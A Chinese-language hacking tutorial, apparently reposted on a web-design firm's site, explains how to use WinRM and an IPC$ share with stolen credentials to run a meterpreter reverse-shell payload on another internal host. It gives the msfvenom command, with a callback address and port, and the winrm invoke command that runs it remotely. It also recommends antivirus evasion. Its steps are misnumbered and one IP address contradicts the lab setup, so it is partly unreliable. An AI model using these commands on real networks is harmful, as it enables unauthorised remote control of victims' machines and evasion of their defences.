如何利用WinRM實(shí)現(xiàn)內(nèi)網(wǎng)無文件攻擊反彈shell，很多新手對(duì)此不是很清楚，為了幫助大家解決這個(gè)難題，下面小編將為大家詳細(xì)講解，有這方面需求的人可以來學(xué)習(xí)下，希望你能有所收獲。

成都創(chuàng)新互聯(lián)專注于企業(yè)成都全網(wǎng)營(yíng)銷推廣、網(wǎng)站重做改版、沈丘網(wǎng)站定制設(shè)計(jì)、自適應(yīng)品牌網(wǎng)站建設(shè)、H5建站、電子商務(wù)商城網(wǎng)站建設(shè)、集團(tuán)公司官網(wǎng)建設(shè)、外貿(mào)網(wǎng)站制作、高端網(wǎng)站制作、響應(yīng)式網(wǎng)頁設(shè)計(jì)等建站業(yè)務(wù)，價(jià)格優(yōu)惠性價(jià)比高，為沈丘等各大城市提供網(wǎng)站開發(fā)制作服務(wù)。

0x00:前言

WinRM是Windows Remote Managementd（win遠(yuǎn)程管理）的簡(jiǎn)稱?；赪eb服務(wù)管理(WS-Management)標(biāo)準(zhǔn)，使用80端口或者443端口。這樣一來，我們就可以在對(duì)方有設(shè)置防火墻的情況下遠(yuǎn)程管理這臺(tái)服務(wù)器了。

Server2008R2及往上的系統(tǒng)中默認(rèn)中都開啟該服務(wù)，從Server2012系統(tǒng)后開始，該WinRM服務(wù)便被設(shè)置為默認(rèn)開啟。Win7系統(tǒng)中卻默認(rèn)安裝此WinRM服務(wù)，但是默認(rèn)為禁用狀態(tài)，Win8系統(tǒng)和Win10系統(tǒng)也都默認(rèn)開啟WinRM服務(wù)。

WinRM的好處在于，這種遠(yuǎn)程連接不容易被察覺到，也不會(huì)占用遠(yuǎn)程連接數(shù)！

0x01:環(huán)境準(zhǔn)備

1. WinRM會(huì)用到5985、5986 端口，所以防火墻必須做開放處理。

2. 用Administrator賬戶登錄攻擊機(jī)器

3. 前提知道被攻擊方的用戶登錄賬戶密碼

4. Windows操作系統(tǒng)中，默認(rèn)是開啟共享IPC$的

5. IP:192.168.124.30(server2016)  

IP:192.168.124.20(win7)

IP:192.168.124.32(Kali)

0x02:攻擊過程

一、快速在(server2016)運(yùn)行winrm

命令：winrm quickconfig

二、net use連接(win7)

命令：net use \\192.168.124.20\ipc$ “密碼” /user:“用戶名”

嘗試調(diào)用本地”calc.exe”.

成功

1. 在(win7)中需要被遠(yuǎn)程訪問的文件，開啟文件共享。

開啟共享文件夾，并添加訪問用戶的權(quán)限，使其能夠遠(yuǎn)程訪問。

四、在（win7）中放置木馬，并且用（kali）接收反彈的shell

1. 生成shellcode

msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.124.32 lport=7777 -f exe -o ./luomiweixiong.exe

1. 把”luomiweixiong.exe”放在(win7)的C盤根目錄.

3、kali啟動(dòng)監(jiān)聽shell模式

1. 利用(server2016）的WinRM 實(shí)現(xiàn)內(nèi)網(wǎng)無文件攻擊反彈shell

2. 在（server2016）中執(zhí)行以下命令

winrm invoke create wmicimv2/win32_process @{commandline="\\192.168.12.20\c\luomiweixiong.exe"}

反彈成功

0x03:總結(jié)

1. shellcode還可以做一些免殺處理，使其更加的完美。

看完上述內(nèi)容是否對(duì)您有幫助呢？如果還想對(duì)相關(guān)知識(shí)有進(jìn)一步的了解或閱讀更多相關(guān)文章，請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道，感謝您對(duì)創(chuàng)新互聯(lián)的支持。

當(dāng)前文章：如何利用WinRM實(shí)現(xiàn)內(nèi)網(wǎng)無文件攻擊反彈shell
網(wǎng)站鏈接：http://aaarwkj.com/article6/gjdeog.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián)，為您提供企業(yè)建站、微信小程序、移動(dòng)網(wǎng)站建設(shè)、動(dòng)態(tài)網(wǎng)站、定制開發(fā)、品牌網(wǎng)站設(shè)計(jì)

廣告

聲明：本網(wǎng)站發(fā)布的內(nèi)容（圖片、視頻和文字）以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主，如果涉及侵權(quán)請(qǐng)盡快告知，我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng)，如需處理請(qǐng)聯(lián)系客服。電話：028-86922220；郵箱：631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載，或轉(zhuǎn)載時(shí)需注明來源： 創(chuàng)新互聯(lián)